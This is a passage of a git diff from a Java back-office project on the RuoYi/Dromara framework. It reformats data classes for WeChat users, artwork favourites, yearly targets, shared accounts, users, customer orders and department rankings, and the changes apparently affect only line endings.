-@AutoMapper(target = TpWechatUser.class, reverseConvertGenerate = false) -public class TpWechatUserBo extends BaseEntity { - - /** - * - */ - @NotNull(message = "不能为空", groups = { EditGroup.class }) - private Long id; - - /** - * 所属微信 - */ - @NotNull(message = "所属微信不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long wid; - - /** - * 使用人 - */ - @NotNull(message = "使用人不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long uid; - - /** - * 使用人 - */ - @NotBlank(message = "使用人不能为空", groups = { AddGroup.class, EditGroup.class }) - private String user; - - /** - * 当前客服时间 - */ - @NotNull(message = "当前客服时间不能为空", groups = { AddGroup.class, EditGroup.class }) - private Date nowTime; - - /** - * 当前客服总业绩 - */ - @NotNull(message = "当前客服总业绩不能为空", groups = { AddGroup.class, EditGroup.class }) - private BigDecimal nowPrice; - - /** - * 结束时间 - */ - @NotNull(message = "结束时间不能为空", groups = { AddGroup.class, EditGroup.class }) - private Date endTime; - - /** - * 创建人 - */ - @NotNull(message = "创建人不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long addUser; - - /** - * 创建人 - */ - @NotBlank(message = "创建人不能为空", groups = { AddGroup.class, EditGroup.class }) - private String addname; - - /** - * 创建时间 - */ - @NotNull(message = "创建时间不能为空", groups = { AddGroup.class, EditGroup.class }) - private Date addTime; - - -} +package org.dromara.work.domain.bo; + +import io.github.linpeilie.annotations.AutoMapper; +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.NotNull; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.work.domain.TpWechatUser; + +import java.math.BigDecimal; +import java.util.Date; + +/** + * 微信使用人修改历史业务对象 tp_wechat_user + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@AutoMapper(target = TpWechatUser.class, reverseConvertGenerate = false) +public class TpWechatUserBo extends BaseEntity { + + /** + * + */ + @NotNull(message = "不能为空", groups = { EditGroup.class }) + private Long id; + + /** + * 所属微信 + */ + @NotNull(message = "所属微信不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long wid; + + /** + * 使用人 + */ + @NotNull(message = "使用人不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long uid; + + /** + * 使用人 + */ + @NotBlank(message = "使用人不能为空", groups = { AddGroup.class, EditGroup.class }) + private String user; + + /** + * 当前客服时间 + */ + @NotNull(message = "当前客服时间不能为空", groups = { AddGroup.class, EditGroup.class }) + private Date nowTime; + + /** + * 当前客服总业绩 + */ + @NotNull(message = "当前客服总业绩不能为空", groups = { AddGroup.class, EditGroup.class }) + private BigDecimal nowPrice; + + /** + * 结束时间 + */ + @NotNull(message = "结束时间不能为空", groups = { AddGroup.class, EditGroup.class }) + private Date endTime; + + /** + * 创建人 + */ + @NotNull(message = "创建人不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long addUser; + + /** + * 创建人 + */ + @NotBlank(message = "创建人不能为空", groups = { AddGroup.class, EditGroup.class }) + private String addname; + + /** + * 创建时间 + */ + @NotNull(message = "创建时间不能为空", groups = { AddGroup.class, EditGroup.class }) + private Date addTime; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpWorksBo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpWorksBo.java index 28e3324..9530ea8 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpWorksBo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpWorksBo.java @@ -1,42 +1,42 @@ -package org.dromara.work.domain.bo; - -import org.dromara.work.domain.TpWorks; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import lombok.EqualsAndHashCode; -import jakarta.validation.constraints.*; - -/** - * 作品收藏业务对象 tp_works - * - * @author Maosw - * @date 2025-07-23 - */ -@Data -@EqualsAndHashCode(callSuper = true) -@AutoMapper(target = TpWorks.class, reverseConvertGenerate = false) -public class TpWorksBo extends BaseEntity { - - /** - * id - */ - @NotNull(message = "id不能为空", groups = { EditGroup.class }) - private Long id; - - /** - * 用户ID - */ - @NotNull(message = "用户ID不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long userId; - - /** - * 作品ID - */ - @NotNull(message = "作品ID不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long pictureId; - - -} +package org.dromara.work.domain.bo; + +import org.dromara.work.domain.TpWorks; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import lombok.EqualsAndHashCode; +import jakarta.validation.constraints.*; + +/** + * 作品收藏业务对象 tp_works + * + * @author Maosw + * @date 2025-07-23 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@AutoMapper(target = TpWorks.class, reverseConvertGenerate = false) +public class TpWorksBo extends BaseEntity { + + /** + * id + */ + @NotNull(message = "id不能为空", groups = { EditGroup.class }) + private Long id; + + /** + * 用户ID + */ + @NotNull(message = "用户ID不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long userId; + + /** + * 作品ID + */ + @NotNull(message = "作品ID不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long pictureId; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpYearBo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpYearBo.java index 362fad9..8fa3d5f 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpYearBo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpYearBo.java @@ -1,73 +1,73 @@ -package org.dromara.work.domain.bo; - -import io.github.linpeilie.annotations.AutoMapper; -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.NotNull; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.work.domain.TpYear; - -import java.util.Date; -import java.util.List; - -/** - * 年目标业务对象 tp_year - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@EqualsAndHashCode(callSuper = false) -@AutoMapper(target = TpYear.class, reverseConvertGenerate = false) -public class TpYearBo { - - /** - * - */ - @NotNull(message = "不能为空", groups = { EditGroup.class }) - private Long id; - - /** - * 人员 - */ - @NotNull(message = "人员不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long sid; - - /** - * 年 - */ - @NotBlank(message = "年不能为空", groups = { AddGroup.class, EditGroup.class }) - private String year; - - /** - * 个人目标 - */ - private Long geren; - - /** - * 公司目标 - */ - private Long gongsi; - - /** - * 创建时间 - */ - private Date addTime; - - /** - * 编号 - */ - private String nickName; - - /** - * 部门ID - */ - private Long deptId; - - private String ancestors; - - private List userIds; - -} +package org.dromara.work.domain.bo; + +import io.github.linpeilie.annotations.AutoMapper; +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.NotNull; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.work.domain.TpYear; + +import java.util.Date; +import java.util.List; + +/** + * 年目标业务对象 tp_year + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@EqualsAndHashCode(callSuper = false) +@AutoMapper(target = TpYear.class, reverseConvertGenerate = false) +public class TpYearBo { + + /** + * + */ + @NotNull(message = "不能为空", groups = { EditGroup.class }) + private Long id; + + /** + * 人员 + */ + @NotNull(message = "人员不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long sid; + + /** + * 年 + */ + @NotBlank(message = "年不能为空", groups = { AddGroup.class, EditGroup.class }) + private String year; + + /** + * 个人目标 + */ + private Long geren; + + /** + * 公司目标 + */ + private Long gongsi; + + /** + * 创建时间 + */ + private Date addTime; + + /** + * 编号 + */ + private String nickName; + + /** + * 部门ID + */ + private Long deptId; + + private String ancestors; + + private List userIds; + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TzSharedAccountBo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TzSharedAccountBo.java index 5f6a8fc..cb09c53 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TzSharedAccountBo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TzSharedAccountBo.java @@ -1,100 +1,100 @@ -package org.dromara.work.domain.bo; - -import org.dromara.work.domain.TzSharedAccount; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import lombok.EqualsAndHashCode; -import jakarta.validation.constraints.*; -import java.util.Date; -import com.fasterxml.jackson.annotation.JsonFormat; - -/** - * 共享账号业务对象 tz_shared_account - * - * @author Maosw - * @date 2025-05-06 - */ -@Data -@EqualsAndHashCode(callSuper = true) -@AutoMapper(target = TzSharedAccount.class, reverseConvertGenerate = false) -public class TzSharedAccountBo extends BaseEntity { - - /** - * 主键ID - */ - @NotNull(message = "主键ID不能为空", groups = { EditGroup.class }) - private Long id; - - /** - * 使用者ID - */ - private Long userId; - - /** - * 使用者姓名 - */ - private String userName; - - /** - * 共享账号编号 - */ - private String code; - - /** - * 登录账号 - */ - @NotBlank(message = "登录账号不能为空", groups = { AddGroup.class, EditGroup.class }) - private String loginName; - - /** - * 登录密码 - */ - @NotBlank(message = "登录密码不能为空", groups = { AddGroup.class, EditGroup.class }) - private String loginPwd; - - /** - * 状态:0-未使用,1-使用中 - */ - @NotNull(message = "状态:0-未使用,1-使用中不能为空", groups = { AddGroup.class, EditGroup.class }) - private Integer status; - - /** - * 开始使用时间 - */ - private Date startTime; - - /** - * 预期结束时间 - */ - private Date endTime; - - /** - * 绑定人姓名 - */ - private String bindName; - - /** - * 绑定人手机号码 - */ - private String bindPhone; - - /** - * 备注 - */ - private String remark; - - /** - * 会员套餐 - */ - private String thali; - - /** - * 套餐到期时间 - */ - private Date thaliTime; - - -} +package org.dromara.work.domain.bo; + +import org.dromara.work.domain.TzSharedAccount; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import lombok.EqualsAndHashCode; +import jakarta.validation.constraints.*; +import java.util.Date; +import com.fasterxml.jackson.annotation.JsonFormat; + +/** + * 共享账号业务对象 tz_shared_account + * + * @author Maosw + * @date 2025-05-06 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@AutoMapper(target = TzSharedAccount.class, reverseConvertGenerate = false) +public class TzSharedAccountBo extends BaseEntity { + + /** + * 主键ID + */ + @NotNull(message = "主键ID不能为空", groups = { EditGroup.class }) + private Long id; + + /** + * 使用者ID + */ + private Long userId; + + /** + * 使用者姓名 + */ + private String userName; + + /** + * 共享账号编号 + */ + private String code; + + /** + * 登录账号 + */ + @NotBlank(message = "登录账号不能为空", groups = { AddGroup.class, EditGroup.class }) + private String loginName; + + /** + * 登录密码 + */ + @NotBlank(message = "登录密码不能为空", groups = { AddGroup.class, EditGroup.class }) + private String loginPwd; + + /** + * 状态:0-未使用,1-使用中 + */ + @NotNull(message = "状态:0-未使用,1-使用中不能为空", groups = { AddGroup.class, EditGroup.class }) + private Integer status; + + /** + * 开始使用时间 + */ + private Date startTime; + + /** + * 预期结束时间 + */ + private Date endTime; + + /** + * 绑定人姓名 + */ + private String bindName; + + /** + * 绑定人手机号码 + */ + private String bindPhone; + + /** + * 备注 + */ + private String remark; + + /** + * 会员套餐 + */ + private String thali; + + /** + * 套餐到期时间 + */ + private Date thaliTime; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TzUserBo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TzUserBo.java index a3111f3..79711a5 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TzUserBo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TzUserBo.java @@ -1,210 +1,210 @@ -package org.dromara.work.domain.bo; - -import com.baomidou.mybatisplus.annotation.TableField; -import com.fasterxml.jackson.annotation.JsonInclude; -import io.github.linpeilie.annotations.AutoMapper; -import jakarta.validation.constraints.NotNull; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.work.domain.TzUser; - -import java.math.BigDecimal; -import java.util.Date; -import java.util.HashMap; -import java.util.Map; - -/** - * 用户业务对象 tz_user - * - * @author Maosw - * @date 2024-12-09 - */ -@Data -@EqualsAndHashCode(callSuper = false) -@AutoMapper(target = TzUser.class, reverseConvertGenerate = false) -public class TzUserBo { - - /** - * ID - */ - @NotNull(message = "ID不能为空", groups = { EditGroup.class }) - private Long userId; - - /** - * 用户昵称 - */ - private String nickName; - - /** - * 真实姓名 - */ - private String realName; - - /** - * 用户邮箱 - */ - private String userMail; - - /** - * 登录密码 - */ - private String loginPassword; - - /** - * 支付密码 - */ - private String payPassword; - - /** - * 手机号码 - */ - private String userMobile; - - /** - * 身份证号码 - */ - private String idCard; - - /** - * 身份证正面 - */ - private String frontCard; - - /** - * 身份证反面 - */ - private String reverseCard; - - /** - * 余额 - */ - private BigDecimal balance; - - /** - * 抵扣金 - */ - private BigDecimal deductionFee; - - /** - * 修改时间 - */ - private Date modifyTime; - - /** - * 注册时间 - */ - private Date userRegtime; - - /** - * 注册IP - */ - private String userRegip; - - /** - * 最后登录时间 - */ - private Date userLasttime; - - /** - * 最后登录IP - */ - private String userLastip; - - /** - * 备注 - */ - private String userMemo; - - /** - * M(男) or F(女) - */ - private String sex; - - /** - * 例如:2009-11-27 - */ - private String birthDate; - - /** - * 头像图片路径 - */ - private String pic; - - /** - * 状态 1 正常 0 无效 - */ - private Integer status; - - /** - * 用户积分 - */ - private Long score; - - /** - * 微信openId - */ - private String openId; - - /** - * 是否设计师 1:是 0:否 - */ - private Integer isDesigner; - - /** - * 设计师认证信息 - */ - private String sjsJson; - - /** - * 设计师审核状态 1:未认证 2:待审核 3:已通过 4:已拒绝 - */ - private Integer sjsFlag; - - /** - * 实名审核状态 1:未认证 2:待审核 3:已通过 4:已拒绝 - */ - private Integer examineFlag; - - /** - * 价格开关是否打开 1:打开 0:关闭 - */ - private Integer priceFlag; - - /** - * 是否是会员 1:是 0:否 - */ - private Integer isMember; - - /** - * 会员码 - */ - private String userCode; - - /** - * 会员有效期结束 - */ - private Date validTo; - - /** - * 调价比例 - */ - private String ratio; - - /** - * 拉卡拉用户ID - */ - private String custId; - - /** - * 证件起止日期 - */ - private String certExpirationDate; - - /** - * 请求参数 - */ - @JsonInclude(JsonInclude.Include.NON_EMPTY) - @TableField(exist = false) - private Map params = new HashMap<>(); -} +package org.dromara.work.domain.bo; + +import com.baomidou.mybatisplus.annotation.TableField; +import com.fasterxml.jackson.annotation.JsonInclude; +import io.github.linpeilie.annotations.AutoMapper; +import jakarta.validation.constraints.NotNull; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.work.domain.TzUser; + +import java.math.BigDecimal; +import java.util.Date; +import java.util.HashMap; +import java.util.Map; + +/** + * 用户业务对象 tz_user + * + * @author Maosw + * @date 2024-12-09 + */ +@Data +@EqualsAndHashCode(callSuper = false) +@AutoMapper(target = TzUser.class, reverseConvertGenerate = false) +public class TzUserBo { + + /** + * ID + */ + @NotNull(message = "ID不能为空", groups = { EditGroup.class }) + private Long userId; + + /** + * 用户昵称 + */ + private String nickName; + + /** + * 真实姓名 + */ + private String realName; + + /** + * 用户邮箱 + */ + private String userMail; + + /** + * 登录密码 + */ + private String loginPassword; + + /** + * 支付密码 + */ + private String payPassword; + + /** + * 手机号码 + */ + private String userMobile; + + /** + * 身份证号码 + */ + private String idCard; + + /** + * 身份证正面 + */ + private String frontCard; + + /** + * 身份证反面 + */ + private String reverseCard; + + /** + * 余额 + */ + private BigDecimal balance; + + /** + * 抵扣金 + */ + private BigDecimal deductionFee; + + /** + * 修改时间 + */ + private Date modifyTime; + + /** + * 注册时间 + */ + private Date userRegtime; + + /** + * 注册IP + */ + private String userRegip; + + /** + * 最后登录时间 + */ + private Date userLasttime; + + /** + * 最后登录IP + */ + private String userLastip; + + /** + * 备注 + */ + private String userMemo; + + /** + * M(男) or F(女) + */ + private String sex; + + /** + * 例如:2009-11-27 + */ + private String birthDate; + + /** + * 头像图片路径 + */ + private String pic; + + /** + * 状态 1 正常 0 无效 + */ + private Integer status; + + /** + * 用户积分 + */ + private Long score; + + /** + * 微信openId + */ + private String openId; + + /** + * 是否设计师 1:是 0:否 + */ + private Integer isDesigner; + + /** + * 设计师认证信息 + */ + private String sjsJson; + + /** + * 设计师审核状态 1:未认证 2:待审核 3:已通过 4:已拒绝 + */ + private Integer sjsFlag; + + /** + * 实名审核状态 1:未认证 2:待审核 3:已通过 4:已拒绝 + */ + private Integer examineFlag; + + /** + * 价格开关是否打开 1:打开 0:关闭 + */ + private Integer priceFlag; + + /** + * 是否是会员 1:是 0:否 + */ + private Integer isMember; + + /** + * 会员码 + */ + private String userCode; + + /** + * 会员有效期结束 + */ + private Date validTo; + + /** + * 调价比例 + */ + private String ratio; + + /** + * 拉卡拉用户ID + */ + private String custId; + + /** + * 证件起止日期 + */ + private String certExpirationDate; + + /** + * 请求参数 + */ + @JsonInclude(JsonInclude.Include.NON_EMPTY) + @TableField(exist = false) + private Map params = new HashMap<>(); +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/ClientSumVo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/ClientSumVo.java index 182774f..b548443 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/ClientSumVo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/ClientSumVo.java @@ -1,30 +1,30 @@ -package org.dromara.work.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import lombok.Data; - -import java.io.Serializable; -import java.math.BigDecimal; - -/** - * 客户统计对象 - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@ExcelIgnoreUnannotated -public class ClientSumVo implements Serializable { - - private static final long serialVersionUID = 1L; - - /** - * id - */ - private Long id; - - /** - * 金额 - */ - private BigDecimal amount; -} +package org.dromara.work.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import lombok.Data; + +import java.io.Serializable; +import java.math.BigDecimal; + +/** + * 客户统计对象 + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@ExcelIgnoreUnannotated +public class ClientSumVo implements Serializable { + + private static final long serialVersionUID = 1L; + + /** + * id + */ + private Long id; + + /** + * 金额 + */ + private BigDecimal amount; +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/CustomerOrderVo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/CustomerOrderVo.java index 8755d65..51dfff6 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/CustomerOrderVo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/CustomerOrderVo.java @@ -1,296 +1,296 @@ -package org.dromara.work.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.common.excel.annotation.ExcelDictFormat; -import org.dromara.common.excel.convert.ExcelDictConvert; -import org.dromara.work.domain.TpOrder; - -import java.io.Serial; -import java.io.Serializable; -import java.math.BigDecimal; -import java.util.Date; - - -/** - * 客服订单管理视图对象 tp_order - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = TpOrder.class) -public class CustomerOrderVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * - */ - @ExcelProperty(value = "id") - private Long id; - - /** - * 订单编号 - */ - @ExcelProperty(value = "订单编号") - private String orderId; - - /** - * 订单客户 - */ - @ExcelProperty(value = "订单客户") - private Long kid; - - /** - * 订单微信 - */ - @ExcelProperty(value = "订单微信") - private Long wid; - - /** - * 订单风格 - */ - @ExcelProperty(value = "订单风格") - private Long style; - - /** - * 订单空间 - */ - @ExcelProperty(value = "订单空间") - private String space; - - /** - * 订单品质 - */ - @ExcelProperty(value = "订单品质") - private Long quality; - - /** - * 备注 - */ - @ExcelProperty(value = "备注") - private String remark; - - /** - * 订单类型 - */ - @ExcelProperty(value = "订单类型") - private Long type; - - /** - * 状态(1录入订单,2上传小图,3上传大图,4已完成,5已评价) - */ - @ExcelProperty(value = "状态(1录入订单,2上传小图,3上传大图,4已完成,5已评价)") - private Long state; - - /** - * 图纸数量 - */ - @ExcelProperty(value = "图纸数量") - private Long num; - - /** - * 接待客服 - */ - @ExcelProperty(value = "接待客服") - private Long sid; - - - /** - * 接待客服名称 - */ - @ExcelProperty(value = "接待客服名称") - private String sname; - - /** - * 分图员名称 - */ - @ExcelProperty(value = "分图员名称") - private String fname; - - /** - * 表现师名称 - */ - @ExcelProperty(value = "表现师名称") - private String bname; - - /** - * 客户名称 - */ - @ExcelProperty(value = "客户名称") - private String cname; - - /** - * 微信昵称 - */ - @ExcelProperty(value = "微信昵称") - private String wname; - - /** - * 已付比例 - */ - @ExcelProperty(value = "已付比例") - private String bili; - - /** - * 分图人员 - */ - @ExcelProperty(value = "分图人员") - private Long fid; - - /** - * 表现师编号 - */ - @ExcelProperty(value = "表现师编号") - private String bid; - - /** - * 订单价格 - */ - @ExcelProperty(value = "订单价格") - private BigDecimal price; - - /** - * 定金 - */ - @ExcelProperty(value = "定金") - private BigDecimal djPrice; - - /** - * 技术备注 - */ - @ExcelProperty(value = "技术备注") - private String jsRemark; - - /** - * 支付状态(1=待支付,2=尾款待支付,3=已支付) - */ - @ExcelProperty(value = "支付状态", converter = ExcelDictConvert.class) - @ExcelDictFormat(readConverterExp = "1==待支付,2=尾款待支付,3=已支付") - private Long payState; - - /** - * 已付款 - */ - @ExcelProperty(value = "已付款") - private BigDecimal payPrice; - - /** - * 尾款 - */ - @ExcelProperty(value = "尾款") - private BigDecimal endPrice; - - /** - * 下单时间 - */ - @ExcelProperty(value = "下单时间") - private Date addTime; - - /** - * 对图时间 - */ - @ExcelProperty(value = "对图时间") - private Date dtTime; - - /** - * 定金支付时间 - */ - @ExcelProperty(value = "定金支付时间") - private Date djpTime; - - /** - * 尾款支付时间 - */ - @ExcelProperty(value = "尾款支付时间") - private Date endpTime; - - /** - * 完成时间 - */ - @ExcelProperty(value = "完成时间") - private Date finishTime; - - /** - * 拆单价格 - */ - @ExcelProperty(value = "拆单价格") - private BigDecimal cdPrice; - - - /** - * 客户已付款 - */ - @ExcelProperty(value = "客户已付款") - private BigDecimal khpay; - - /** - * 是否拆单(1=否,2=是) - */ - @ExcelProperty(value = "是否拆单", converter = ExcelDictConvert.class) - @ExcelDictFormat(readConverterExp = "1==否,2=是") - private Long isCd; - - /** - * 客服已付款 - */ - @ExcelProperty(value = "客服已付款") - private BigDecimal kfpay; - - /** - * 改价金额 - */ - private BigDecimal gjPrice; - - /** - * 改价已支付金额 - */ - private BigDecimal gpay; - - /** - * 备用字段1 - */ - private String byOne; - - /** - * 备用字段2 - */ - private String byTwo; - - /** - * 备用字段3 - */ - private String byThree; - - /** - * 备用字段4 - */ - private Integer byFour; - - /** - * 满意度时间 - */ - private Date satisfiedTime; - - /** - * 抵扣金 - */ - private BigDecimal coupon; - - /** - * 集材社订单ID - */ - private Long jcsOrderId; - - /** - * 违约金 - */ - @ExcelProperty(value = "违约金") - private BigDecimal breach; - -} +package org.dromara.work.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.common.excel.annotation.ExcelDictFormat; +import org.dromara.common.excel.convert.ExcelDictConvert; +import org.dromara.work.domain.TpOrder; + +import java.io.Serial; +import java.io.Serializable; +import java.math.BigDecimal; +import java.util.Date; + + +/** + * 客服订单管理视图对象 tp_order + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = TpOrder.class) +public class CustomerOrderVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * + */ + @ExcelProperty(value = "id") + private Long id; + + /** + * 订单编号 + */ + @ExcelProperty(value = "订单编号") + private String orderId; + + /** + * 订单客户 + */ + @ExcelProperty(value = "订单客户") + private Long kid; + + /** + * 订单微信 + */ + @ExcelProperty(value = "订单微信") + private Long wid; + + /** + * 订单风格 + */ + @ExcelProperty(value = "订单风格") + private Long style; + + /** + * 订单空间 + */ + @ExcelProperty(value = "订单空间") + private String space; + + /** + * 订单品质 + */ + @ExcelProperty(value = "订单品质") + private Long quality; + + /** + * 备注 + */ + @ExcelProperty(value = "备注") + private String remark; + + /** + * 订单类型 + */ + @ExcelProperty(value = "订单类型") + private Long type; + + /** + * 状态(1录入订单,2上传小图,3上传大图,4已完成,5已评价) + */ + @ExcelProperty(value = "状态(1录入订单,2上传小图,3上传大图,4已完成,5已评价)") + private Long state; + + /** + * 图纸数量 + */ + @ExcelProperty(value = "图纸数量") + private Long num; + + /** + * 接待客服 + */ + @ExcelProperty(value = "接待客服") + private Long sid; + + + /** + * 接待客服名称 + */ + @ExcelProperty(value = "接待客服名称") + private String sname; + + /** + * 分图员名称 + */ + @ExcelProperty(value = "分图员名称") + private String fname; + + /** + * 表现师名称 + */ + @ExcelProperty(value = "表现师名称") + private String bname; + + /** + * 客户名称 + */ + @ExcelProperty(value = "客户名称") + private String cname; + + /** + * 微信昵称 + */ + @ExcelProperty(value = "微信昵称") + private String wname; + + /** + * 已付比例 + */ + @ExcelProperty(value = "已付比例") + private String bili; + + /** + * 分图人员 + */ + @ExcelProperty(value = "分图人员") + private Long fid; + + /** + * 表现师编号 + */ + @ExcelProperty(value = "表现师编号") + private String bid; + + /** + * 订单价格 + */ + @ExcelProperty(value = "订单价格") + private BigDecimal price; + + /** + * 定金 + */ + @ExcelProperty(value = "定金") + private BigDecimal djPrice; + + /** + * 技术备注 + */ + @ExcelProperty(value = "技术备注") + private String jsRemark; + + /** + * 支付状态(1=待支付,2=尾款待支付,3=已支付) + */ + @ExcelProperty(value = "支付状态", converter = ExcelDictConvert.class) + @ExcelDictFormat(readConverterExp = "1==待支付,2=尾款待支付,3=已支付") + private Long payState; + + /** + * 已付款 + */ + @ExcelProperty(value = "已付款") + private BigDecimal payPrice; + + /** + * 尾款 + */ + @ExcelProperty(value = "尾款") + private BigDecimal endPrice; + + /** + * 下单时间 + */ + @ExcelProperty(value = "下单时间") + private Date addTime; + + /** + * 对图时间 + */ + @ExcelProperty(value = "对图时间") + private Date dtTime; + + /** + * 定金支付时间 + */ + @ExcelProperty(value = "定金支付时间") + private Date djpTime; + + /** + * 尾款支付时间 + */ + @ExcelProperty(value = "尾款支付时间") + private Date endpTime; + + /** + * 完成时间 + */ + @ExcelProperty(value = "完成时间") + private Date finishTime; + + /** + * 拆单价格 + */ + @ExcelProperty(value = "拆单价格") + private BigDecimal cdPrice; + + + /** + * 客户已付款 + */ + @ExcelProperty(value = "客户已付款") + private BigDecimal khpay; + + /** + * 是否拆单(1=否,2=是) + */ + @ExcelProperty(value = "是否拆单", converter = ExcelDictConvert.class) + @ExcelDictFormat(readConverterExp = "1==否,2=是") + private Long isCd; + + /** + * 客服已付款 + */ + @ExcelProperty(value = "客服已付款") + private BigDecimal kfpay; + + /** + * 改价金额 + */ + private BigDecimal gjPrice; + + /** + * 改价已支付金额 + */ + private BigDecimal gpay; + + /** + * 备用字段1 + */ + private String byOne; + + /** + * 备用字段2 + */ + private String byTwo; + + /** + * 备用字段3 + */ + private String byThree; + + /** + * 备用字段4 + */ + private Integer byFour; + + /** + * 满意度时间 + */ + private Date satisfiedTime; + + /** + * 抵扣金 + */ + private BigDecimal coupon; + + /** + * 集材社订单ID + */ + private Long jcsOrderId; + + /** + * 违约金 + */ + @ExcelProperty(value = "违约金") + private BigDecimal breach; + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/DeptRankingVo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/DeptRankingVo.java index 0052e98..5ec0228 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/DeptRankingVo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/DeptRankingVo.java @@ -1,73 +1,73 @@ -package org.dromara.work.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import lombok.Data; - -import java.io.Serial; -import java.io.Serializable; - - -/** - * 排行榜列表 - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@ExcelIgnoreUnannotated -public class DeptRankingVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 部门id - */ - private Long deptId; - - /** - * 父部门ID - */ - private Long parentId; - - /** - * 部门名称 - */ - 